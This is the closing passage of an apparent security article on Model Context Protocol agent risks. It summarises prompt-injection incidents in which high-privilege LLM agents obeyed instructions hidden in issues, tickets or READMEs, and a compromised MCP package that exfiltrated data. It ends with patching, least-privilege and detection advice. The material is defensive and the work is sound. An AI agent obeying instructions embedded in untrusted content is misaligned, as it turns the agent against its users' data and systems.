Every one of the real-world incidents followed the same pattern: an LLM agent operating with high-privilege access (database admin, email sending, full filesystem, broad PAT scopes) processed content from an untrusted source (user input, a GitHub issue, a support ticket, a README). The agent treated the untrusted content as instructions rather than data. This is not an AI problem—it is a classic confused deputy problem that developers have been solving in traditional software for decades. The solution is the same: never grant an agent more privilege than the minimum needed for its specific task, and never feed untrusted content directly into the instruction path without sanitization and isolation.
3. The Supply Chain Risk Is Real and Active
The Postmark incident demonstrated that a single compromised MCP package—functionally identical to its legitimate counterpart—can silently exfiltrate everything it touches. The npm registry does not have the security controls needed to prevent this. Until the ecosystem matures, the mitigations are organizational: pin exact versions, audit postinstall scripts, verify package namespaces, and treat any MCP package with write access to communication channels (email, Slack, calendar) with the same scrutiny you would give production IAM credentials.
4. The Protocol Itself Needs a Security Revision
Session IDs in URLs, no mandatory authentication, no message signing, and a trust model that assumes all connected servers are benign—these are not implementation bugs. They are protocol design decisions that will continue producing vulnerabilities until addressed at the spec level. Organizations deploying MCP in production today are accepting protocol-level risk that cannot be fully mitigated by any individual server or client implementation. Follow the MCP specification working group and plan for protocol-level security changes in 2026.
🔮 The Agentic AI Security Problem Is Just Getting Started
MCP is one protocol in a rapidly expanding category of agentic AI tooling. As multi-agent systems proliferate—where one LLM orchestrates other LLMs, each connected to their own set of tools—the attack surface compounds. A prompt injection in one agent can cascade through an entire agent network. Policy-as-code is the only scalable answer: automated enforcement of trust boundaries, least-privilege tool scopes, and continuous runtime monitoring that doesn't rely on manual review of every agent configuration. Build the policy framework now, before the agent ecosystem becomes too complex to govern manually.
🎯 Conclusion
MCP is genuinely useful infrastructure. It is also security-immature infrastructure being adopted at production scale by organizations that have not yet built the tooling to govern it. The CVEs are real, the incidents are real, and the structural weaknesses in the protocol are documented.
The practical path forward:
- Patch immediately: mcp-remote to 0.1.16, mcp-server-git to 2025.12.18, mcp-fetch-server to 1.0.3
- Scope everything: Filesystem MCP to specific project directories, not home roots. PATs to minimum required scopes. IAM roles for Lambda-based MCP servers to explicit actions only.
- Enforce HTTPS everywhere: Never connect to MCP servers over plain HTTP. This is the primary CVE-2025-6514 mitigation.
- Treat MCP packages as supply chain risk: Pin exact versions, audit postinstall scripts, verify namespaces, rotate credentials on any suspected compromise.
- Deploy runtime detection: Falco rules targeting shell spawning by agent processes, unexpected outbound connections, and sensitive file access provide the critical detection layer that perimeter controls miss.
- Build policy gates into CI/CD: The GitHub Actions workflow above takes minutes to add and will catch CVE-2025-6514-pattern configs before they reach production.
🔒 Immediate Action Items
- Audit all MCP server configs in your development environment today
- Update mcp-remote to >= 0.1.16 (CVE-2025-6514, CVSS 9.6)
- Update mcp-server-git to >= 2025.12.18 (CVE-2025-68143/68144/68145)
- Convert all MCP server URLs from HTTP to HTTPS
- Scope Filesystem MCP paths to specific project directories only
- Add the MCP security gate to your CI/CD pipeline
- Deploy Falco MCP detection rules to all Kubernetes clusters running LLM agents
